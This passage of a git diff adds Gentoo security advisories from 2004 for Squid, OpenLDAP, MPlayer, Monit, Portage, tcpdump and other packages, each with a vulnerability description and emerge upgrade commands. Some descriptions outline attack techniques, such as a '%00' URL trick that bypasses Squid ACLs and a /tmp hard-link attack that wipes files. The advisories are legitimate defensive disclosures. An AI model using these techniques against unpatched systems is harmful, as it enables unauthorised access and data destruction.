+  <product type="ebuild">fetchmail</product>
+  <announced>March 30, 2004</announced>
+  <revised>March 30, 2004: 01</revised>
+  <bug>37717</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/fetchmail" auto="yes" arch="*">
+      <unaffected range="ge">6.2.5</unaffected>
+      <vulnerable range="le">6.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Fetchmail is a utility that retrieves and forwards mail from remote systems
+    using IMAP, POP, and other protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Fetchmail versions 6.2.4 and earlier can be crashed by sending a
+    specially-crafted email to a fetchmail user. This problem occurs because
+    Fetchmail does not properly allocate memory for long lines in an incoming
+    email.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Fetchmail users who receive a malicious email may have their fetchmail
+    program crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    While a workaround is not currently known for this issue, all users are advised to upgrade to the latest version of fetchmail.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Fetchmail users should upgrade to version 6.2.5 or later:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=net-mail/fetchmail-6.2.5"
+    # emerge ">=net-mail/fetchmail-6.2.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://xforce.iss.net/xforce/xfdb/13450">ISS X-Force Listing</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0792">CVE Candidate (CAN-2003-0792)</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-11.xml b/xml/htdocs/security/en/glsa/glsa-200403-11.xml
new file mode 100644
index 00000000..a52fe8eb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-11.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-11">
+  <title>Squid ACL [url_regex] bypass vulnerability</title>
+  <synopsis>
+    Squid versions 2.0 through to 2.5.STABLE4 could allow a remote attacker to
+    bypass Access Control Lists by sending a specially-crafted URL request
+    containing '%00': in such circumstances; the url_regex ACL may not properly
+    detect the malicious URL, allowing the attacker to effectively bypass the
+    ACL.
+  </synopsis>
+  <product type="ebuild">Squid</product>
+  <announced>March 30, 2004</announced>
+  <revised>September 02, 2004: 02</revised>
+  <bug>45273</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.5</unaffected>
+      <vulnerable range="lt">2.5.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a fully-featured Web Proxy Cache designed to run on Unix systems
+    that supports proxying and caching of HTTP, FTP, and other URLs, as well as
+    SSL support, cache hierarchies, transparent caching, access control lists
+    and many other features.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in Squid allows users to bypass certain access controls by passing a
+    URL containing &quot;%00&quot; which exploits the Squid decoding function.
+    This may insert a NUL character into decoded URLs, which may allow users to
+    bypass url_regex access control lists that are enforced upon them.
+    </p>
+    <p>
+    In such a scenario, Squid will insert a NUL character after
+    the&quot;%00&quot; and it will make a comparison between the URL to the end
+    of the NUL character rather than the contents after it: the comparison does
+    not result in a match, and the user's request is not denied.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Restricted users may be able to bypass url_regex access control lists that
+    are enforced upon them which may cause unwanted network traffic as well as
+    a route for other possible exploits. Users of Squid 2.5STABLE4 and below
+    who require the url_regex features are recommended to upgrade to 2.5STABLE5
+    to maintain the security of their infrastructure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of Squid.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Squid can be updated as follows:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-proxy/squid-2.5.5"
+    # emerge ">=net-proxy/squid-2.5.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0189">CAN-2004-0189</uri>
+    <uri link="http://www.squid-cache.org/Advisories/SQUID-2004_1.txt">Squid 2.5.STABLE5 Release Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  2 Sep 2004 21:11:59 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-12.xml b/xml/htdocs/security/en/glsa/glsa-200403-12.xml
new file mode 100644
index 00000000..65e6c203
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-12.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-12">
+  <title>OpenLDAP DoS Vulnerability</title>
+  <synopsis>
+    A failed password operation can cause the OpenLDAP slapd server, if it is
+    using the back-ldbm backend, to free memory that was never allocated.
+  </synopsis>
+  <product type="ebuild">openldap</product>
+  <announced>March 31, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>26728</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nds/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.1.13</unaffected>
+      <vulnerable range="le">2.1.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP is a suite of LDAP-related application and development tools.
+    It includes slapd (the standalone LDAP server), slurpd (the standalone
+    LDAP replication server), and various LDAP libraries, utilities and
+    example clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    A password extended operation (password EXOP) which fails will cause
+    the slapd server to free() an uninitialized pointer, possibly resulting
+    in a segfault. This only affects servers using the back-ldbm backend.
+    </p>
+    <p>
+    Such a crash is not guaranteed with every failed operation, however, it
+    is possible.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker (or indeed, a normal user) may crash the OpenLDAP server,
+    creating a Denial of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    OpenLDAP users should upgrade to version 2.1.13 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-nds/openldap-2.1.13&quot;
+    # emerge &quot;&gt;=net-nds/openldap-2.1.13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.openldap.org/its/index.cgi?findid=2390">OpenLDAP ITS Bug and Patch</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1201">CVE-2003-1201</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 May 2006 05:51:37 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-13.xml b/xml/htdocs/security/en/glsa/glsa-200403-13.xml
new file mode 100644
index 00000000..5df64b56
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-13.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-13">
+  <title>Remote buffer overflow in MPlayer</title>
+  <synopsis>
+    MPlayer contains a remotely exploitable buffer overflow in the HTTP parser
+    that may allow attackers to run arbitrary code on a user's computer.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>March 31, 2004</announced>
+  <revised>October 11, 2006: 03</revised>
+  <bug>46246</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="x86 and sparc">
+      <unaffected range="ge">0.92-r1</unaffected>
+      <vulnerable range="le">0.92</vulnerable>
+    </package>
+    <package name="media-video/mplayer" auto="yes" arch="amd64">
+      <unaffected range="ge">1.0_pre2-r1</unaffected>
+      <vulnerable range="le">1.0_pre2</vulnerable>
+    </package>
+    <package name="media-video/mplayer" auto="yes" arch="ppc">
+      <unaffected range="ge">1.0_pre3-r3</unaffected>
+      <vulnerable range="le">1.0_pre3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Quote from <uri link="http://mplayerhq.hu">http://mplayerhq.hu</uri>
+    </p>
+    <p>
+    "MPlayer is a movie player for LINUX (runs on many other Unices, and
+    non-x86 CPUs, see the documentation). It plays most MPEG, VOB, AVI,
+    OGG/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, FLI, RM, NuppelVideo, YUV4MPEG,
+    FILM, RoQ, PVA files, supported by many native, XAnim, and Win32 DLL
+    codecs. You can watch VideoCD, SVCD, DVD, 3ivx, DivX 3/4/5 and even WMV
+    movies, too."
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability exists in the MPlayer HTTP parser which may allow an
+    attacker to craft a special HTTP header ("Location:") which will trick
+    MPlayer into executing arbitrary code on the user's computer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker without privileges may exploit this vulnerability remotely,
+    allowing arbitrary code to be executed in order to gain unauthorized
+    access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    MPlayer may be upgraded as follows:
+    </p>
+    <p>
+    x86 and SPARC users should:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-video/mplayer-0.92-r1&quot;
+    # emerge &quot;&gt;=media-video/mplayer-0.92-r1&quot;</code>
+    <p>
+    AMD64 users should:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-video/mplayer-1.0_pre2-r1&quot;
+    # emerge &quot;&gt;=media-video/mplayer-1.0_pre2-r1&quot;</code>
+    <p>
+    PPC users should:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-video/mplayer-1.0_pre3-r2&quot;
+    # emerge &quot;&gt;=media-video/mplayer-1.0_pre3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mplayerhq.hu/homepage/design6/news.html">MPlayerHQ News</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0386">CVE-2004-0386</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 May 2006 05:45:24 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-14.xml b/xml/htdocs/security/en/glsa/glsa-200403-14.xml
new file mode 100644
index 00000000..6451659d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-14.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-14">
+  <title>Multiple Security Vulnerabilities in Monit</title>
+  <synopsis>
+    A denial of service and a buffer overflow vulnerability have been found in
+    Monit.
+  </synopsis>
+  <product type="ebuild">app-admin/monit</product>
+  <announced>March 31, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>43967</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/monit" auto="yes" arch="*">
+      <unaffected range="ge">4.2</unaffected>
+      <vulnerable range="le">4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Monit is a system administration utility that allows management and
+    monitoring of processes, files, directories and devices on a Unix
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    A denial of service may occur due to Monit not sanitizing remotely
+    supplied HTTP parameters before passing them to memory allocation
+    functions. This could allow an attacker to cause an unexpected
+    condition that could lead to the Monit daemon crashing.
+    </p>
+    <p>
+    An overly long http request method may cause a buffer overflow due to
+    Monit performing insufficient bounds checking when handling HTTP
+    requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker may crash the Monit daemon to create a denial of service
+    condition or cause a buffer overflow that would allow arbitrary code to
+    be executed with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Monit users should upgrade to version 4.2 or later:
+    </p>
+    <code> 
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/monit-4.2&quot;
+    # emerge &quot;&gt;=app-admin/monit-4.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/9098">Monit HTTP Content-Length Parameter Denial of Service Vulnerability</uri>
+    <uri link="http://www.securityfocus.com/bid/9099">Monit Overly Long HTTP Request Buffer Overrun Vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1083">CVE-2003-1083</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1084">CVE-2003-1084</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 May 2006 05:44:45 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-01.xml b/xml/htdocs/security/en/glsa/glsa-200404-01.xml
new file mode 100644
index 00000000..0c2e1a4e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-01.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-01">
+  <title>Insecure sandbox temporary lockfile vulnerabilities in Portage</title>
+  <synopsis>
+    A flaw has been found in the temporary file handling algorithms for the
+    sandboxing code used within Portage. Lockfiles created during normal Portage
+    operation of portage could be manipulated by local users resulting in the
+    truncation of hard linked files; causing a Denial of Service attack on
+    the system.
+  </synopsis>
+  <product type="ebuild">Portage</product>
+  <announced>April 04, 2004</announced>
+  <revised>April 04, 2004: 01</revised>
+  <bug>21923</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/portage" auto="yes" arch="*">
+      <unaffected range="ge">2.0.50-r3</unaffected>
+      <vulnerable range="lt">2.0.50-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Portage is Gentoo's package management system which is responsible for
+    installing, compiling and updating any ebuilds on the system through the
+    Gentoo rsync tree. Under default configurations, most ebuilds run under a
+    sandbox which prevent the build process writing to the &quot;real&quot;
+    system outside the build directory - packages are installed into a
+    temporary location and then copied over safely by Portage instead. During
+    the process the sandbox wrapper creates lockfiles in the /tmp directory
+    which are vulnerable to a hard-link attack.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw in Portage's sandbox wrapper has been found where the temporary
+    lockfiles are subject to a hard-link attack which allows linkable files to
+    be overwritten to an empty file. This can be used to damage critical files
+    on a system causing a Denial of Service, or alternatively this attack may
+    be used to cause other security risks; for example firewall configuration
+    data could be overwritten without notice.
+    </p>
+    <p>
+    The vulnerable sandbox functions have been patched to test for these new
+    conditions: namely; for the existance of a hard-link which would be removed
+    before the sandbox process would continue, for the existance of a
+    world-writable lockfile in which case the sandbox would also remove it, and
+    also for any mismatches in the UID ( anything but root ) and the GID (
+    anything but the group of the sandbox process ).
+    </p>
+    <p>
+    If the vulnerable files cannot be removed by the sandbox, then the sandbox
+    would exit with a fatal error warning the adminstrator of the issue. The
+    patched functions also fix any other sandbox I/O operations which do not
+    explicitly include the mentioned lockfile.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Any user with write access to the /tmp directory can hard-link a file to
+    /tmp/sandboxpids.tmp - this file would eventually be replaced with an empty
+    one; effectively wiping out the file it was linked to as well with no prior
+    warning. This could be used to potentially disable a vital component of the
+    system and cause a path for other possible exploits.
+    </p>
+    <p>
+    This vulnerability only affects systems that have /tmp on the root
+    partition: since symbolic link attacks are filtered, /tmp has to be on the
+    same partition for an attack to take place.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users should upgrade to Portage 2.0.50-r3 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv ">=sys-apps/portage-2.0.50-r3"
+    # emerge ">=sys-apps/portage-2.0.50-r3"</code>
+  </resolution>
+  <references>
+  </references>
+  <metadata tag="submitter">plasmaroo</metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-02.xml b/xml/htdocs/security/en/glsa/glsa-200404-02.xml
new file mode 100644
index 00000000..3b6f7c9f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-02.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-02">
+  <title>KDE Personal Information Management Suite Remote Buffer Overflow Vulnerability</title>
+  <synopsis>
+    KDE-PIM may be vulnerable to a remote buffer overflow attack that may allow
+    unauthorized access to an affected system. 
+  </synopsis>
+  <product type="ebuild">kde-base/kde</product>
+  <announced>April 06, 2004</announced>
+  <revised>April 06, 2004: 01</revised>
+  <bug>38256</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kde" auto="yes" arch="*">
+      <unaffected range="ge">3.1.5</unaffected>
+      <vulnerable range="le">3.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE-PIM is an application suite designed to manage mail, addresses,
+    appointments, and contacts.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow may occur in KDE-PIM's VCF file reader when a maliciously
+    crafted VCF file is opened by a user on a vulnerable system.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may unauthorized access to a user's personal data or
+    execute commands with the user's privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    KDE users should upgrade to version 3.1.5 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv ">=kde-base/kde-3.1.5"
+    # emerge ">=kde-base/kde-3.1.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0988">CAN-2003-0988</uri>
+  </references>
+  <metadata tag="submitter">aescriva</metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-03.xml b/xml/htdocs/security/en/glsa/glsa-200404-03.xml
new file mode 100644
index 00000000..329c442e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-03.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-03">
+  <title>Tcpdump Vulnerabilities in ISAKMP Parsing</title>
+  <synopsis>
+    There are multiple vulnerabilities in tcpdump and libpcap related to
+    parsing of ISAKMP packets.
+  </synopsis>
+  <product type="ebuild">tcpdump</product>
+  <announced>March 31, 2004</announced>
+  <revised>March 31, 2004: 01</revised>
+  <bug>38206</bug>
+  <bug>46258</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/tcpdump" auto="yes" arch="*">
+      <unaffected range="ge">3.8.3-r1</unaffected>
+      <vulnerable range="le">3.8.1</vulnerable>
+    </package>
+    <package name="net-libs/libpcap" auto="yes" arch="*">
+      <unaffected range="ge">0.8.3-r1</unaffected>
+      <vulnerable range="le">0.8.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tcpdump is a program for monitoring IP network traffic. Libpcap is a
+    supporting library which is responsibile for capturing packets off a network
+    interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are two specific vulnerabilities in tcpdump, outlined in [ reference
+    1 ]. In the first scenario, an attacker may send a specially-crafted ISAKMP
+    Delete packet which causes tcpdump to read past the end of its buffer. In
+    the second scenario, an attacker may send an ISAKMP packet with the wrong
+    payload length, again causing tcpdump to read past the end of a buffer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers could potentially cause tcpdump to crash or execute
+    arbitrary code as the 'pcap' user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All tcpdump users are encouraged
+    to upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All tcpdump users should upgrade to the latest available version.
+    ADDITIONALLY, the net-libs/libpcap package should be upgraded.
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-libs/libpcap-0.8.3-r1" ">=net-analyzer/tcpdump-3.8.3-r1"
+    # emerge ">=net-libs/libpcap-0.8.3-r1" ">=net-analyzer/tcpdump-3.8.3-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.rapid7.com/advisories/R7-0017.html">Rapid7 Advisory</uri>
+    <uri link="http://rhn.redhat.com/errata/RHSA-2004-008.html">Red Hat Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0989">CVE Advisory</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-04.xml b/xml/htdocs/security/en/glsa/glsa-200404-04.xml
new file mode 100644
index 00000000..862c1362
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-04">
+  <title>Multiple vulnerabilities in sysstat</title>
+  <synopsis>
+    Multiple vulnerabilities in the way sysstat handles symlinks may allow an
+    attacker to execute arbitrary code or overwrite arbitrary files
+  </synopsis>
+  <product type="ebuild">sysstat</product>
+  <announced>April 06, 2004</announced>
+  <revised>April 06, 2004: 01</revised>
+  <bug>45159</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/sysstat" auto="yes" arch="x86 ppc sparc amd64">
+      <unaffected range="ge">5.0.2</unaffected>
+      <vulnerable range="lt">5.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sysstat is a package containing a number of performance monitoring
+    utilities for Linux, including sar, mpstat, iostat and sa tools
+    </p>
+  </background>
+  <description>
+    <p>
+    There are two vulnerabilities in the way sysstat handles symlinks:
+    </p>
+	<ol>
+    <li>The isag utility, which displays sysstat data in a graphical format,
+    creates a temporary file in an insecure manner.</li>
+    <li>Two scripts in the sysstat package, post and trigger, create temporary
+    files in an insecure manner.</li>
+	</ol>
+  </description>
+  <impact type="normal">
+    <p>
+    Both vulnerabilities may allow an attacker to overwrite arbitrary files
+    under the permissions of the user executing any of the affected 
+    utilities.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Systat users should upgrade to version 4.2 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv ">=app-admin/sysstat-5.0.2"
+    # emerge ">=app-admin/sysstat-5.0.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0107">CVE (1)</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0108">CVE (2)</uri>
+  </references>
+  <metadata tag="submitter">klieber</metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-05.xml b/xml/htdocs/security/en/glsa/glsa-200404-05.xml
new file mode 100644
index 00000000..1ba1d3a6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-05.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-05">
+  <title>ipsec-tools contains an X.509 certificates vulnerability.</title>
+  <synopsis>
+    ipsec-tools contains a vulnerability that affects connections authenticated 
+    with X.509 certificates.
+  </synopsis>
+  <product type="ebuild">ipsec-tools</product>
+  <announced>April 07, 2004</announced>
+  <revised>April 07, 2004: 01</revised>
+  <bug>47013</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="amd64">
+      <unaffected range="ge">0.2.5</unaffected>
+      <vulnerable range="le">0.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    From http://ipsec-tools.sourceforge.net/ :
+    </p>
+    <p>
+    &quot;IPsec-Tools is a port of KAME's IPsec utilities to the Linux-2.6
+    IPsec implementation.&quot;
+    </p>
+  </background>
+  <description>
+    <p>
+    <i>racoon</i> (a utility in the ipsec-tools package) does not verify digital
+    signatures on Phase1 packets.  This means  that anybody holding the correct
+    X.509 certificate would be able to establish a connection, even if they did
+    not have the corresponding private key.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Since digital signatures are not verified by the <i>racoon</i> tool, an attacker may
+	be able to connect to the VPN gateway and/or execute a man-in-the-middle attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    ipsec-tools users should upgrade to version 0.2.5 or later:
+    </p>
+    <code>
+    # emerge sync
+ 
+    # emerge -pv ">=net-firewall/ipsec-tools-0.2.5"
+    # emerge ">=net-firewall/ipsec-tools-0.2.5"</code>
+  </resolution>
+  <references>
+  </references>
+  <metadata tag="submitter">klieber</metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-06.xml b/xml/htdocs/security/en/glsa/glsa-200404-06.xml
new file mode 100644
index 00000000..478eb527
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-06">
+  <title>Util-linux login may leak sensitive data</title>
+  <synopsis>
+    The login program included in util-linux could leak sensitive information
+    under certain conditions.
+  </synopsis>
+  <product type="ebuild"> </product>
+  <announced>April 07, 2004</announced>
+  <revised>April 07, 2004: 01</revised>
+  <bug>46422</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/util-linux" auto="yes" arch="*">
+      <unaffected range="ge">2.12</unaffected>
+      <vulnerable range="le">2.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Util-linux is a suite of essential system utilites, including login,
+    agetty, fdisk. 
+    </p>
+  </background>
+  <description>
+    <p>
+    In some situations the login program could leak sensitive data due to an
+    incorrect usage of a reallocated pointer.
+    </p>
+    <p>
+	<b>NOTE:</b> Only users who have PAM support <b>disabled</b> on their
+	systems (i.e.  <i>-PAM</i> in their USE variable) will be affected by this
+	vulnerability.  By default, this USE flag is <b>enabled</b> on all
+	architectures.  Users with PAM support on their system receive login binaries
+	as part of the pam-login package, which remains unaffected.
+	</p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker may obtain sensitive data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+     A workaround is not currently known for this issue. All users are advised to upgrade to the latest version of the affected package.
+	</p>
+  </workaround>
+  <resolution>
+    <p>
+    All util-linux users should upgrade to version 2.12 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+	# emerge -pv ">=sys-apps/util-linux-2.12"
+    # emerge ">=sys-apps/util-linux-2.12"
+    </code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0080">CAN-2004-0080</uri>
+  </references>
+  <metadata tag="submitter">lcars</metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-07.xml b/xml/htdocs/security/en/glsa/glsa-200404-07.xml
new file mode 100644
index 00000000..8f740db3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-07.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
